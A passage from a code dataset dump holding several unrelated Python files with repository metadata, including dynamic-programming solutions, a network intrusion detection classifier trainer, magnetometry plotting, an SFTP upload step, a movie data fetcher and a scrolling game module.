CSV\")\n\n\ninitiate()\n","repo_name":"Guide-Analytics/google_review_analysis","sub_path":"report_output.py","file_name":"report_output.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14723438500","text":"import uuid\nfrom task import Task\nfrom sprint import Sprint\n\nclass User:\n\n    def __init__(self, name):\n        self.name = name\n        self.id = str(uuid.uuid4())\n        self.task_list = []\n        self.sprint_list = []\n\n    def create_task(self, task_type, subtract=None):\n        task = Task(task_type)\n        task.subtract = subtract\n        task.user = self\n        self.task_list.append(task)\n        return task\n\n    def create_sprint(self, begin, end, name=''):\n        sprint = Sprint(begin, end, name)\n        self.sprint_list.append(sprint)\n        return sprint\n\n    def add_to_sprint(self, sprint, task):\n        # check if the sprint is created by the user\n        found = False\n        for _sprint in self.sprint_list:\n            if sprint == _sprint:\n                found = True\n\n        if not found:\n            return False\n\n        sprint.add_tasks(task)\n        return True\n\n    def remove_from_sprint(self, sprint, task):\n        for _sprint in self.sprint_list:\n            if sprint == _sprint:\n                if sprint.remove_tasks(task):\n                    return True\n        return False\n\n    def change_status(self, task, status):\n        for _task in self.task_list:\n            if _task == task:\n                task.status = status\n                return True\n        return False\n","repo_name":"akash-codes93/ADT-PYTHON","sub_path":"LLD/Systems/JiraSystem/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35185488402","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nimport visualization\n\n\nif __name__ == '__main__':\n    n_traj = 8\n    data_dir = '../../dataset/sim_data/'\n    traj_name = f'state_{n_traj}.npy'\n    filepath = data_dir + traj_name\n    \n    data = np.load(filepath)\n\n    dt = 0.1\n    cable_length = data[0,0]\n    X_particles = data[1:,1:31]\n    dX_particles = data[1:,45:75]\n    X_particles_goal = data[1:, 87:117]\n    print(f'Cable length: {cable_length} m')\n\n    Z = np.hstack((X_particles[:,3:-3], dX_particles[:,3:-3]))\n    U = np.hstack((X_particles[:,:3], dX_particles[:,:3],\n                   X_particles[:,-3:], dX_particles[:,-3:]))\n\n    ns2keep = 100\n    X_lee = data[:ns2keep, 31:34]\n    Phi_lee = data[:ns2keep, 34:38]\n    X_ree = data[:ns2keep, 38:41]\n    Phi_ree = data[:ns2keep, 41:45]\n\n    dX_lee = data[:ns2keep, 75:78]\n    dPhi_lee = data[:ns2keep, 78:81]\n    dX_ree = data[:ns2keep, 81:84]\n    dPhi_ree = data[:ns2keep, 84:87]\n\n    # Plot change of orientation\n    t = dt*np.arange(X_lee.shape[0])\n\n    _, axs = plt.subplots(4,1, sharex=True)\n    axs.reshape(-1)\n    for ax, o1, o2 in zip(axs, X_lee.T, X_ree.T):\n        ax.plot(t, o1)\n        ax.plot(t, o2)\n        ax.grid(alpha=0.1)\n    plt.tight_layout()\n    plt.show()\n\n    X = X_particles[:100,:]\n    X_goal = X_particles_goal[:100,:]\n    visualization.visualize_mass_spring_system(X, X_goal, dt, n_replays=5)","repo_name":"shamilmamedov/dlo_jacobian_model","sub_path":"test_viz.py","file_name":"test_viz.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19517938641","text":"# 백준 11727번 2×n 타일링 2\n\n# idea\n# 1줄 타일은 1가지 방법으로 만들 수 있고 2줄 타일은 3가지 방법으로 만들 수 있다.\n# 3줄타일은 3-1줄타일을 만들 수 있는 방법에서 1줄 타일을 붙인 것 + 3-2줄 타일을 만들 수 있는 방법에서 2줄 타일을 붙인 것이다.\n\nn = int(input())\nd = [0] * (n + 1)\nd[1] = 1\n\nif n > 1:\n    d[2] = 3\n    for i in range(3, n + 1):\n        d[i] = d[i - 2] * 2 + d[i - 1]\n\nprint(d[n] % 10007)\n","repo_name":"alswp006/IT_skill_up","sub_path":"민제/7주차/숙제/B11727.py","file_name":"B11727.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43231566307","text":"import joblib\n\nfrom nids_models.NIDS import NIDS\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\n\nfrom data_process.tools import load_csv, normalize\nimport numpy as np\n\n\nclass Dataset():\n    def __init__(self, input_files, train, items, do_normalize=True):\n        self.X_train = []\n        self.Y_train = []\n        self.X_test = []\n        self.Y_test = []\n        self.X_std = None\n        self.X_mean = None\n        self.model = model\n        # train == True 加入训练集 else 加入测试集\n        for input_file, train, item in zip(input_files, train, items):\n            if train:\n                tmp_X, tmp_Y = load_csv(input_file, item)\n                # tmp_Y = [label] * len(tmp_X)\n                self.X_train += tmp_X\n                self.Y_train += tmp_Y\n            else:\n                tmp_X, tmp_Y = load_csv(input_file, item)\n                self.X_test += tmp_X\n                self.Y_test += tmp_Y\n        self.X_train = np.array(self.X_train, dtype='float32')\n        self.X_test = np.array(self.X_test, dtype='float32')\n        if do_normalize:\n            self.X_train, self.X_mean, self.X_std = normalize(self.X_train)\n            self.X_test, _, _ = normalize(self.X_test)\n\n\n# seven models\n__all__ = {\n    \"gnb\": GaussianNB,  # 朴素贝叶斯\n    \"knn\": KNeighborsClassifier,  # k近邻\n    \"gbc\": GradientBoostingClassifier,  # 梯度提升树\n    \"rfc\": RandomForestClassifier,  # 随机森林\n    \"lr\": LinearRegression,  # 线性回归\n    \"svc\": SVC,  # 支持向量机\n    \"dtc\": DecisionTreeClassifier  # 决策树\n}\n\nif __name__ == \"__main__\":\n    model_name = \"knn\"\n    model = __all__[model_name]()\n\n    reuse_model = False\n    is_train = True\n    loop_exit = False\n\n    while not loop_exit:\n        print(\"Menu:\")\n        print(\"\\t1: start NIDS training\")\n        print(\"\\t2: continue NIDS training\")\n        print(\"\\t3: get NIDS performances\")\n        c = input(\"Enter you choice: \")\n        if c == '1':\n            reuse_model = False\n            is_train = True\n            loop_exit = True\n        if c == '2':\n            reuse_model = True\n            is_train = True\n            loop_exit = True\n        if c == '3':\n            reuse_model = True\n            is_train = False\n            loop_exit = True\n\n    # start NIDS training\n    if not reuse_model and is_train:\n        nids = NIDS(model,\n                    [\"../data/cic_2017/data_sets/0.1_train_set.csv\", \"../data/cic_2017/data_sets/0.1_test_set.csv\"],\n                    [True, False], [3000, 3000])\n        nids.train()\n        nids.get_metrics()\n        nids.train()\n        nids.save(f\"saved_model/{model_name}.m\")\n        nids.get_metrics()\n        # nids.predict(f\"data/target_{model_name}.csv\")\n        nids.get_fail_samples(f\"data/fail_{model_name}.npy\")\n        nids.get_success_samples(f\"data/success_{model_name}.npy\")\n\n    # continue NIDS training\n    elif reuse_model and is_train:\n        # ds = Dataset([\"../data/cic_2017/data_sets/0.1_train_set.csv\",\n        # \"../data/cic_2017/data_sets/0.1_test_set.csv\"], [True, False], [3000, 3000])\n        model_path = f\"saved_model/{model_name}.m\"\n        clf = joblib.load(model_path)\n        nids = NIDS(clf,\n                    [\"../data/cic_2017/data_sets/0.1_train_set.csv\", \"../data/cic_2017/data_sets/0.1_test_set.csv\"],\n                    [True, False], [3000, 3000])\n        nids.train()\n        nids.save(f\"saved_model/{model_name}.m\")\n        nids.get_metrics()\n\n    # test\n    elif reuse_model and not is_train:\n        model_path = f\"saved_model/{model_name}.m\"\n        clf = joblib.load(model_path)\n        nids = NIDS(clf,\n                    [\"../data/cic_2017/data_sets/0.1_train_set.csv\", \"../data/cic_2017/data_sets/0.1_test_set.csv\"],\n                    [True, False], [3000, 3000])\n        nids.get_metrics()\n","repo_name":"liuguangrui-hit/VulnerGAN-py","sub_path":"nids_models/train_NIDS.py","file_name":"train_NIDS.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"}
+{"seq_id":"23113040093","text":"\"\"\"\nCreated on Sun Mar  7 21:25:13 2021\n\n@author: Omar Karkoura\n\"\"\"\n#useful packages to facilitate extraction/visualisation of the data\nimport webbrowser\nimport pandas as pd\nimport numpy as np\nimport tempfile\nimport matplotlib.pyplot as plt\nfrom scipy import optimize\n\n\n#Note: I manually remove the description in the header and also convert it to a csv\n#For better readability: related blocks of code are separated by 2 line breaks, unrelated blocks are separated by 5 line breaks\n\n\ndef open_file(dataFrame):\n    tmp = tempfile.NamedTemporaryFile(delete=False)\n    path = tmp.name+'.html'\n    dataFrame.to_html(path)\n    webbrowser.open(\"file://\"+path)\n\n\n\n\n\nurl_30K = \"\"\nurl_300K = \"\"\nurl_tempDepend = \"\"\npd_30K_url = \"\"    # I use the data in this file for performing corrections\n\n\npd_30K = pd.read_csv(pd_30K_url)\npd_30K = pd_30K[[\"Time\", \"Field (Oe)\", \"Temperature (K)\", \"Long Moment (emu)\", \"Long Scan Std Dev\"]]  # Filter out only useful columns\n\n\npd_30K['Field (Oe)'] = pd_30K['Field (Oe)']/10000\npd_30K.rename(columns={\"Field (Oe)\":\"Field(T)\"}, inplace=True)\n\n\n\n\n\n# In the following, I use this linear function (simply m*x where m is the slope) to subtract the line from the callibration data such that we can get information about the actual field\ndef linear_func(x,m):\n    return m*x\n\n\nparams, params_covariance = optimize.curve_fit(linear_func, pd_30K['Field(T)'], pd_30K['Long Moment (emu)'])  #Getting the fitting parameters (i.e the slope)\npd_newData = pd_30K['Long Moment (emu)'] - params[0]*pd_30K['Field(T)']   # Subtracting the line\npd_correction = pd_30K['Long Moment (emu)']/params[0]  # Values of actual field\n\n\n# Plotting the data with the fitted line\nplt.figure('Callibration')\nplt.title('Fitting function for the data points of Pd at 30K')\nplt.xlabel('Field (T)')\nplt.ylabel('Long Moment (emu)')\nplt.plot(pd_30K['Field(T)'], linear_func(pd_30K['Field(T)'], params[0]), label='Fitted function')\nplt.scatter(pd_30K['Field(T)'], pd_30K['Long Moment (emu)'], label='Data points')\nplt.show()\n\n\n\n\n\ndata_30K = pd.read_csv(url_30K)\ndata_300K = pd.read_csv(url_300K)\ndata_tempDepend = pd.read_csv(url_tempDepend)\n\n\ndata_30K = data_30K[[\"Time\", \"Field (Oe)\", \"Temperature (K)\", \"Long Moment (emu)\", \"Long Scan Std Dev\"]]\ndata_300K = data_300K[[\"Time\", \"Field (Oe)\", \"Temperature (K)\", \"Long Moment (emu)\", \"Long Scan Std Dev\"]]\ndata_tempDepend = data_tempDepend[[\"Time\", \"Field (Oe)\", \"Temperature (K)\", \"Long Moment (emu)\", \"Long Scan Std Dev\"]]\n\n\ndata_30K['Field (Oe)'] = data_30K['Field (Oe)']/10000\ndata_30K.rename(columns={\"Field (Oe)\":\"Field(T)\"}, inplace=True)\ndata_300K['Field (Oe)'] = data_300K['Field (Oe)']/10000\ndata_300K.rename(columns={\"Field (Oe)\":\"Field(T)\"}, inplace=True)\n\n\n\n\n\n# Plotting the temperature dependence curve\nplt.figure('Temperature Dependence')\nplt.title('Temperature dependence at 5T')\nplt.plot(data_tempDepend['Temperature (K)'], data_tempDepend['Long Moment (emu)'],'-o')\nplt.xlabel('Field (T)')\nplt.ylabel('Long Moment (emu)')\nplt.show()\n\n\n# Plotting data at 30K with opening shown in separate plot\nfig_30K, ax_30K = plt.subplots(2,1)\nfig_30K.tight_layout()\nax_30K[0].scatter(data_30K['Field(T)'],data_30K['Long Moment (emu)'],label='30K')\nax_30K[0].set_ylim(-0.00029,0.00029)\nax_30K[0].set_title('Magnetic moment dependence on field at 30K')\nax_30K[0].set_xlabel('Field (T)')\nax_30K[0].set_ylabel('Long Magnetic Moment (emu)')\nax_30K[0].legend(loc='best')\n\nax_30K[1].scatter(data_30K['Field(T)'],data_30K['Long Moment (emu)'],label='30K')\nax_30K[1].set_xlabel('Field (T)')\nax_30K[1].set_ylabel('Long Magnetic Moment (emu)')\nax_30K[1].set_title('Observed Ferromagnetic behavior (opening) at 30K')\nax_30K[1].set_ylim(-0.000038,0.000038)\nax_30K[1].set_xlim(-0.15,0.15)\nax_30K[1].legend(loc='best')\nplt.show()\n\n\n# Plotting data at 30K with opening shown in separate plot\nfig_300K, ax_300K = plt.subplots(2,1)\nfig_300K.tight_layout()\nax_300K[0].scatter(data_30K['Field(T)'],data_30K['Long Moment (emu)'],label='300K')\nax_300K[0].set_ylim(-0.00029,0.00029)\nax_300K[0].set_title('Magnetic moment dependence on field at 300K')\nax_300K[0].set_xlabel('Field (T)')\nax_300K[0].set_ylabel('Long Magnetic Moment (emu)')\nax_300K[0].legend(loc='best')\n\nax_300K[1].scatter(data_30K['Field(T)'],data_30K['Long Moment (emu)'],label='300K')\nax_300K[1].set_xlabel('Field (T)')\nax_300K[1].set_ylabel('Long Magnetic Moment (emu)')\nax_300K[1].set_title('Observed Ferromagnetic behavior (opening) at 300K')\nax_300K[1].set_ylim(-0.000038,0.000038)\nax_300K[1].set_xlim(-0.15,0.15)\nax_300K[1].legend(loc='best')\nplt.show()\n\n\n#Comparing data at 30K & 300K including the ferromagnetic opening\nfig, ax = plt.subplots(2,1)\nfig.tight_layout()\nax[0].scatter(data_300K['Field(T)'],data_300K['Long Moment (emu)'],label='300K')\nax[0].scatter(data_30K['Field(T)'],data_30K['Long Moment (emu)'],label='30K')\nax[0].set_ylim(-0.00029,0.00029)\nax[0].set_title('Magnetic moment dependence on field at two different temperatures')\nax[0].set_xlabel('Field (T)')\nax[0].set_ylabel('Long Magnetic Moment (emu)')\nax[0].legend(loc='best')\n\nax[1].scatter(data_300K['Field(T)'],data_300K['Long Moment (emu)'],label='300K')\nax[1].scatter(data_30K['Field(T)'],data_30K['Long Moment (emu)'],label='300K')\nax[1].set_xlabel('Field (T)')\nax[1].set_ylabel('Long Magnetic Moment (emu)')\nax[1].set_title('Observed Ferromagnetic behavior (opening) at two different temperatures')\nax[1].set_ylim(-0.000038,0.000038)\nax[1].set_xlim(-0.15,0.15)\nax[1].legend(loc='best')\nplt.show()\n\n\n\n\n\n#Subtracting the line from the SiC data using the set and then actual field from callibration data for corrections comparison\nparams_setB, params_setB_covariance = optimize.curve_fit(linear_func, data_30K['Field(T)'], data_30K['Long Moment (emu)'])\nsetB_lineSubtracted = data_30K['Long Moment (emu)'] - params_setB[0]*data_30K['Field(T)']\nparams_actualB, params_actualB_covariance = optimize.curve_fit(linear_func, pd_correction, data_30K['Long Moment (emu)'])\nactualB_lineSubtracted = data_30K['Long Moment (emu)'] - params_actualB[0]*pd_correction\n\n\n#Plotting the data at 30K for the set and actual fields for comparison\nfig, ax = plt.subplots(2,1)\nfig.tight_layout()\nax[0].scatter(pd_correction, data_30K['Long Moment (emu)'],label='Actual Field')\nax[0].set_xlabel('Field (T)')\nax[0].set_ylabel('Long Magnetic Moment (emu)')\nax[0].legend(loc='best')\n\nax[1].scatter(data_30K['Field(T)'], data_30K['Long Moment (emu)'], color='black', label='Set Field')\nax[1].set_xlabel('Field (T)')\nax[1].set_ylabel('Long Magnetic Moment (emu)')\nax[1].legend(loc='best')\nplt.show()\n\n\n#Plotting the subtracted lines at 30K for the set and actual fields for comparison (better for understanding/observing corrections than the previous plot)\nfig, ax = plt.subplots(2,1)\nfig.tight_layout()\nax[0].scatter(pd_correction, actualB_lineSubtracted,label='Actual Field')\nax[0].set_xlabel('Field (T)')\nax[0].set_ylabel('Long Magnetic Moment (emu)')\nax[0].legend(loc='best')\n\nax[1].scatter(data_30K['Field(T)'], setB_lineSubtracted, color='black', label='Set Field')\nax[1].set_xlabel('Field (T)')\nax[1].set_ylabel('Long Magnetic Moment (emu)')\nax[1].legend(loc='best')\nplt.show()\n","repo_name":"OmarKarkoura/SiC","sub_path":"Data extraction-visualisation/FinalDataScript.py","file_name":"FinalDataScript.py","file_ext":"py","file_size_in_byte":7124,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"74426327761","text":"import os\n\nfrom cliboa.adapter.sftp import SftpAdapter\nfrom cliboa.core.validator import EssentialParameters\nfrom cliboa.scenario.sftp import BaseSftp\nfrom cliboa.util.constant import StepStatus\n\n\nclass SftpBaseLoad(BaseSftp):\n    def __init__(self):\n        super().__init__()\n\n\nclass SftpUpload(SftpBaseLoad):\n    \"\"\"\n    Upload file to sftp server\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n        self._quit = False\n        self._ignore_empty_file = False\n\n    def quit(self, quit):\n        self._quit = quit\n\n    def ignore_empty_file(self, ignore_empty_file):\n        self._ignore_empty_file = ignore_empty_file\n\n    def execute(self, *args):\n        # essential parameters check\n        valid = EssentialParameters(\n            self.__class__.__name__,\n            [self._host, self._user, self._src_dir, self._src_pattern, self._dest_dir],\n        )\n        valid()\n\n        files = super().get_target_files(self._src_dir, self._src_pattern)\n        adaptor = super().get_adaptor()\n        if len(files) > 0:\n            for file in files:\n                if self._ignore_empty_file and os.path.getsize(file) == 0:\n                    self._logger.info(\"0 byte file will no be uploaded %s.\" % file)\n                    continue\n\n                obj = SftpAdapter(\n                    host=self._host, user=self._user, password=self._password, key=self._key\n                ).put_file(\n                    src=file,\n                    dest=os.path.join(self._dest_dir, os.path.basename(file)),\n                    endfile_suffix=self._endfile_suffix,\n                )\n                adaptor.execute(obj)\n                self._logger.info(\"%s is successfully uploaded.\" % file)\n        else:\n            self._logger.info(\n                \"Files to upload do not exist. File pattern: {}\".format(\n                    os.path.join(self._src_dir, self._src_pattern)\n                )\n            )\n            if self._quit is True:\n                return StepStatus.SUCCESSFUL_TERMINATION\n","repo_name":"BrainPad/cliboa","sub_path":"cliboa/scenario/load/sftp.py","file_name":"sftp.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"}
+{"seq_id":"69899834962","text":"#!/usr/lib/anaconda3/bin/python\n#!C:\\staging\\python\\systems\\Scripts\\python.exe\n# -*- coding: utf-8 -*-\n\"\"\" paintHouse.py\n\nChallenges: https://www.lintcode.com/problem/paint-house/description\nSolutions:  https://www.jiuzhang.com/solution/paint-house/\nDescription:\nAttributes:\n  __version__ = \"1.0.0\"\n  __project__ = pilot\n  __author__ = Jeremy Sung\n  __date__ = 8/22/2018 2:44 PM\n  __Email__ = Jeremy.Sung@osh.com\n\n\"\"\"\n\n\nclass paintHouse:\n\n  def minCost(self, costs):\n\n    previousRed = 0\n    previousBlue = 0\n    previousGreen = 0\n\n    for cost in costs:\n      chooseRed = min(previousBlue, previousGreen) + cost[0]\n      chooseBlue = min(previousRed, previousGreen) + cost[1]\n      chooseGreen = min(previousRed, previousBlue) + cost[2]\n\n      previousRed = chooseRed\n      previousBlue = chooseBlue\n      previousGreen = chooseGreen\n\n      # ## Wrong answer:  21\n      # previousRed = min(previousBlue, previousGreen) + cost[0]\n      # previousBlue = min(previousRed, previousGreen) + cost[1]\n      # previousGreen = min(previousRed, previousBlue) + cost[2]\n\n    return min(previousRed, previousBlue, previousGreen)\n\n\n\nif __name__ == \"__main__\":\n  paintHouse = paintHouse()\n\n  costs = [[14,2,11],[11,14,5],[14,3,10]]  ## Expect: 10\n\n  print(paintHouse.minCost(costs))\n\n\n\n\n","repo_name":"Jeremy-Sung-Dev/staging","sub_path":"python/libs_dev/paintHouse.py","file_name":"paintHouse.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"35780352388","text":"from time import sleep\n\nimport pandas as pd\nimport requests\nfrom tqdm import tqdm, trange\n\nfrom api_key import API_key\n\n\ndef fetch_movie_data(num_pages):\n    movie_df = pd.DataFrame()\n    for page in trange(1, num_pages + 1):\n        url = f\"https://api.themoviedb.org/3/discover/movie?page={page}&sort_by=popularity.desc&api_key={API_key}\"\n        response = requests.get(url).json()\n        movie_df = pd.concat([movie_df, pd.DataFrame(response[\"results\"])], ignore_index=True)\n    return movie_df\n\n\ndef enrich_movie_data(movie_df):\n    request_counter = 0\n    columns = [\n        \"adult\",\n        \"backdrop_path\",\n        \"belongs_to_collection\",\n        \"budget\",\n        \"genres\",\n        \"homepage\",\n        \"id\",\n        \"imdb_id\",\n        \"original_language\",\n        \"original_title\",\n        \"overview\",\n        \"popularity\",\n        \"poster_path\",\n        \"production_companies\",\n        \"production_countries\",\n        \"release_date\",\n        \"revenue\",\n        \"runtime\",\n        \"spoken_languages\",\n        \"status\",\n        \"tagline\",\n        \"title\",\n        \"video\",\n        \"vote_average\",\n        \"vote_count\",\n    ]\n    movie_info_df = pd.DataFrame(columns=columns)\n\n    for movie_id in tqdm(movie_df[\"id\"]):\n        url = f\"https://api.themoviedb.org/3/movie/{movie_id}?api_key={API_key}\"\n        data = requests.get(url).json()\n        new_row = pd.Series(data)\n        movie_info_df = movie_info_df.append(new_row, ignore_index=True)\n\n        request_counter += 1\n        if request_counter % 10 == 0:\n            sleep(1)\n\n    exclude_columns = set(movie_df.columns) & set(movie_info_df.columns)\n    enriched_df = pd.concat([movie_df.drop(columns=exclude_columns), movie_info_df], axis=1)\n    return enriched_df\n\n\nif __name__ == \"__main__\":\n    movie_df = fetch_movie_data(500)\n    enriched_df = enrich_movie_data(movie_df)\n    enriched_df.to_csv(\"../data/movies.csv\", index=False)\n","repo_name":"KatsiarynaViarenich/movie-score-predictions","sub_path":"data_utils/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30838227893","text":"from django.core.management.base import BaseCommand\nfrom django.core.management import call_command\n\nfrom extlinks.aggregates.models import (\n    LinkAggregate,\n    PageProjectAggregate,\n    UserAggregate,\n)\nfrom extlinks.links.models import LinkEvent\n\n\nclass Command(BaseCommand):\n    help = \"Fixes all those proxy linkevents that aren't in the user list\"\n\n    def handle(self, *args, **options):\n        proxy_not_on_user_list_linkevents = LinkEvent.objects.filter(\n            link__contains=\"wikipedialibrary.idm.oclc\", on_user_list=False\n        )\n\n        if proxy_not_on_user_list_linkevents.exists():\n            earliest_link_date = proxy_not_on_user_list_linkevents.earliest(\n                \"timestamp\"\n            ).timestamp\n            collection_list = set()\n            for linkevent in proxy_not_on_user_list_linkevents:\n                # Get URLPatterns associated with the linkevent\n                urls = linkevent.url.all()\n                # Get the organisation from the first url\n                if urls:\n                    collection = urls[0].collection\n                    collection_list.add(collection.id)\n                    organisation = collection.organisation\n                    username_list = organisation.username_list\n                    if username_list:\n                        if linkevent.username in username_list.all():\n                            linkevent.on_user_list = True\n                            linkevent.save()\n\n            if collection_list:\n                LinkAggregate.objects.filter(\n                    collection__in=collection_list, full_date__gte=earliest_link_date\n                ).delete()\n                PageProjectAggregate.objects.filter(\n                    collection__in=collection_list, full_date__gte=earliest_link_date\n                ).delete()\n                UserAggregate.objects.filter(\n                    collection__in=collection_list, full_date__gte=earliest_link_date\n                ).delete()\n\n                call_command(\"fill_link_aggregates\", collections=collection_list)\n                call_command(\"fill_pageproject_aggregates\", collections=collection_list)\n                call_command(\"fill_user_aggregates\", collections=collection_list)\n","repo_name":"WikipediaLibrary/externallinks","sub_path":"extlinks/links/management/commands/fix_proxy_linkevents_on_user_list.py","file_name":"fix_proxy_linkevents_on_user_list.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"42204172000","text":"import bentoml\nimport mlflow\nfrom metaflow import FlowSpec, step\nfrom train import train, test\n\n\nclass FashionMNISTFlow(FlowSpec):\n    def __init__(self, use_cli=True):\n        super().__init__(use_cli)\n        self.epochs = None\n        self.model = None\n        self.test_result = None\n\n    @step\n    def start(self):\n        self.epochs = 5\n        self.next(self.model_train)\n\n    # @resources(memory=8196, cpu=8)\n    @step\n    def model_train(self):\n        self.model = train(num_epochs=self.epochs)\n        mlflow.pytorch.log_model(self.model, \"fashion_mnist_classifier\")\n        self.next(self.model_test)\n\n    @step\n    def model_test(self):\n        self.test_result = test(self.model)\n        self.next(self.bentoml_deployment)\n\n    @step\n    def bentoml_deployment(self):\n        model_name = \"fashion_mnist_classifier\"\n        tag = bentoml.pytorch.save(\n            name=model_name, model=self.model, metadata=self.test_result\n        )\n        print(tag)\n        self.next(self.end)\n\n    @step\n    def end(self):\n        print(self.test_result)\n\n\nif __name__ == \"__main__\":\n    mlflow.set_experiment(\"fashion-mnist-classifier\")\n    obj = FashionMNISTFlow()\n","repo_name":"aliabbasjaffri/fashion-mnist-metaflow-bentoml-pipeline","sub_path":"metaflow_pipeline.py","file_name":"metaflow_pipeline.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"22626370667","text":"\"\"\"\nautor: Valentina Garrido\n\"\"\"\n\nimport transformations as tr\nimport scene_graph as sg\nimport numpy as np\n\nfrom OpenGL.GL import glClearColor\nimport random\nfrom typing import List\n\nfrom models.platformList import PlatformList\nfrom models.movingQuad import MovingQuad\nfrom models.walls import Walls\nfrom models.background import Background\nfrom models.base import Base\nfrom models.platform import Platform\nfrom models.cat import Cat\nfrom models.yarn import Yarn\n\n\nclass ScrollableWorld:\n    def __init__(self, platform_filename, y_sep, window_width= 558, window_height = 992):\n        self.window_w = window_width\n        self.window_h = window_height\n        self.platform_filename = platform_filename\n\n        self.mc = None\n        self.base = None\n        self.yarn = None\n\n        self.platforms = None\n        self.walls = Walls(-1, 1)\n\n        self.world = sg.SceneGraphNode(\"World\")\n        self.not_moving = sg.SceneGraphNode(\"StaticObjs\")\n        self.world.children += [self.not_moving]\n        self.update_list = []\n\n        self.y_sep = y_sep\n        self.min_scroll_y = 0.0\n        self.max_scroll_y = 1.0\n        self.scrolling = -1\n        self.fixed_ratio = False\n\n    def set_mc(self, mc):\n        self.mc = mc\n        self.world.children += [self.mc.model]\n\n    def platform_row_mc_is_near_to(self):\n        y = self.mc.lowerLim()\n        i_row = int(np.ceil((y+0.5)/self.y_sep))\n        return i_row\n\n    def set_platforms(self, platform_list):\n        self.platforms = platform_list\n        self.platforms.read_from_csv(self.platform_filename)\n        self.platforms.position_platforms(self.platforms.presence)\n\n        self.platforms.update_model_tree()\n        self.max_scroll_y = self.platforms.maximum_height() - 2\n\n    def add_platforms_to_model(self):\n        self.not_moving.children += [self.platforms.model]\n\n    def set_yarn(self, yarn):\n        yarn_pos_y = self.platforms.maximum_height() + self.y_sep-1\n        yarn.set_init_pos(0.0, yarn_pos_y)\n        yarn.update_translate_matrix()\n\n        self.yarn = yarn\n        self.not_moving.children += [yarn.model]\n\n    def dummy_platform_test(self, platform_list):\n        self.platforms = platform_list\n\n        ones = np.array([[1, 0, 0] for i in range(30)], dtype=int)\n        self.platforms.read_platforms(ones)\n        self.platforms.position_platforms(ones)\n\n        self.platforms.update_model_tree()\n        self.max_scroll_y = self.platforms.maximum_height() - 2\n\n    def fix_ratio(self):\n        if self.window_h > self.window_w:\n            factor = self.window_w/self.window_h\n            self.world.transform = tr.matmul([tr.translate(0,-(1-factor),0),\n                tr.scale(1, factor, 1)])\n            self.fixed_ratio = True\n\n    def update_mc(self, dt):\n        # updates mc's position and\n        # sets scrolling to 1 if it should scroll, -1 if mc is mc is under\n        # scrolling limits and 0 if mc it's over scrolling limits\n\n        self.mc.update_positions(dt)\n        if self.mc.pos_y > self.min_scroll_y and self.mc.pos_y < self.max_scroll_y:\n            self.scrolling = 1\n        elif self.mc.pos_y > self.max_scroll_y:\n            self.scrolling = 0\n        else:\n            self.scrolling = -1\n\n    def visible_slabs(self):\n        w_range = self.get_current_y_view()\n        row_min = int(np.ceil((w_range[0] + 1) / self.y_sep))\n        row_max = int(np.ceil((w_range[1] + 1) / self.y_sep))\n        return [row_min, row_max]\n\n    def update(self, dt, t):\n        self.update_mc(dt)\n        self.yarn.grow_and_shrink(dt)\n\n        [o.update(t) for o in self.update_list]\n\n        slab_range = self.visible_slabs()\n        self.platforms.update_model_tree(slab_range[0], slab_range[1])\n\n        if self.scrolling == 1:\n            self.verticalScroll()\n        else:\n            self.no_scroll()\n\n    def get_current_y_view(self):\n        factor = self.window_h/self.window_w\n        lower_y = -1\n        upper_y = 1\n        if self.scrolling == -1:\n            if self.fixed_ratio:\n                return [lower_y,upper_y+2*(factor-1)]\n            else:\n                return [lower_y, upper_y]\n        elif self.scrolling == 1:\n            if self.fixed_ratio:\n                return [lower_y+self.mc.pos_y,\n                        upper_y+self.mc.pos_y+2*(factor-1)]\n            else:\n                return [lower_y+self.mc.pos_y, upper_y+self.mc.pos_y]\n        else:\n            if self.fixed_ratio:\n                return [self.max_scroll_y+lower_y,\n                        self.max_scroll_y+upper_y+2*(factor-1)]\n            else:\n                return [self.max_scroll_y+lower_y,\n                        self.max_scroll_y+upper_y]\n\n    def no_scroll(self):\n        if self.scrolling == -1:\n            self.mc.update_translate_matrix()\n        elif self.scrolling == 0:\n            self.mc.model.transform = tr.translate(self.mc.pos_x, self.mc.pos_y - self.max_scroll_y, 0)\n            self.not_moving.transform = tr.translate(0, -self.max_scroll_y, 0)\n\n    def verticalScroll(self):\n        self.mc.model.transform = tr.translate(self.mc.pos_x, 0, 0)\n        self.not_moving.transform = tr.translate(0,-self.mc.pos_y,0)\n\n    def draw(self, pipeline):\n        sg.drawSceneGraphNode(self.world, pipeline, 'transform')\n\n    def check_collisions(self):\n\n        self.mc.horizontalCollide(self.walls)\n        row_i = self.platform_row_mc_is_near_to()\n\n        stepped_into_row_i = self.mc.efficientVerticalCollide(self.platforms, row_i)\n\n        if 